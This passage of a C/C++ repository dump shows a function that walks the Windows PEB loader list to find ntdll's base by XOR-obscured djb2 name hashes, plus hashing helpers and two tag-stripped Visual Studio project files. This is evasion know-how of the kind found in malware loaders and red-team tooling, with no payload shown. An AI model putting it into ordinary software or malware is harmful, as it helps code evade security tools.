157 |
158 | PPEB pPeb = NULL;
159 | PPEB_LDR_DATA pLdrData = NULL;
160 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pModuleStart = NULL;
161 | PUNICODE_STR pDllName = NULL;
162 |
163 | PVOID pNtdllBase = NULL;
164 |
165 | pPeb = (PPEB)__readgsqword(0x60);
166 | pLdrData = pPeb->pLdr;
167 | pModuleEntry = pModuleStart = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink;
168 |
169 | do {
170 |
171 | pDllName = &pModuleEntry->BaseDllName;
172 |
173 | if (pDllName->pBuffer == NULL)
174 | return NULL;
175 |
176 | if (djb2_unicode(toLower(pDllName->pBuffer)) == xor_hash(0x6391f6a9)) {
177 | pNtdllBase = (PVOID)pModuleEntry->DllBase;
178 | break;
179 | }
180 |
181 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink;
182 |
183 | } while (pModuleEntry != pModuleStart);
184 |
185 | return pNtdllBase;
186 |
187 | }
188 |
189 | unsigned long
190 | djb2_unicode(const wchar_t* str)
191 | {
192 |
193 | unsigned long hash = 5381;
194 | DWORD val;
195 |
196 | while (*str != 0) {
197 | val = (DWORD)*str++;
198 | hash = ((hash << 5) + hash) + val;
199 | }
200 |
201 | return hash;
202 |
203 | }
204 |
205 | unsigned long
206 | djb2(unsigned char* str)
207 | {
208 | unsigned long hash = 5381;
209 | int c;
210 |
211 | while ((c = *str++))
212 | hash = ((hash << 5) + hash) + c;
213 |
214 | return hash;
215 | }
216 |
217 | WCHAR*
218 | toLower(WCHAR* str)
219 | {
220 |
221 | WCHAR* start = str;
222 |
223 | while (*str) {
224 |
225 | if (*str <= L'Z' && *str >= 'A') {
226 | *str += 32;
227 | }
228 |
229 | str += 1;
230 |
231 | }
232 |
233 | return start;
234 |
235 | }
236 |
237 | unsigned long
238 | xor_hash(unsigned long hash) {
239 | return hash ^ HASH_KEY;
240 | }
241 |
--------------------------------------------------------------------------------
/HashGenerator/HashGenerator.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}
24 | HashGenerator
25 | 10.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v142
32 | Unicode
33 |
34 |
35 | Application
36 | false
37 | v142
38 | true
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v142
45 | Unicode
46 |
47 |
48 | Application
49 | false
50 | v142
51 | true
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | true
74 |
75 |
76 | true
77 |
78 |
79 | false
80 |
81 |
82 | false
83 |
84 |
85 |
86 | Level3
87 | true
88 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
89 | true
90 |
91 |
92 | Console
93 | true
94 |
95 |
96 |
97 |
98 | Level3
99 | true
100 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
101 | true
102 |
103 |
104 | Console
105 | true
106 |
107 |
108 |
109 |
110 | Level3
111 | true
112 | true
113 | true
114 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
115 | true
116 |
117 |
118 | Console
119 | true
120 | true
121 | true
122 |
123 |
124 |
125 |
126 | Level3
127 | true
128 | true
129 | true
130 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
131 | true
132 |
133 |
134 | Console
135 | true
136 | true
137 | true
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
--------------------------------------------------------------------------------
/Sample/Sample.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {E417A056-9215-4325-9629-C85464402C75}
24 | Sample
25 | 10.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v142
32 | Unicode
33 |
34 |
35 | Application
36 | false
37 | v142
38 | true
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v142
45 | Unicode
46 |
47 |
48 | Application
49 | false
50 | v142
51 | true
52 | Unicode
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
102 | true
103 |
104 |
105 | Console
106 | true
107 |
108 |
109 |
110 |
111 | Level3
112 | true
113 | true
114 | true
115 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
116 | true
117 |
118 |
119 | Console
120 | true
121 | true
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 | Document
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
--------------------------------------------------------------------------------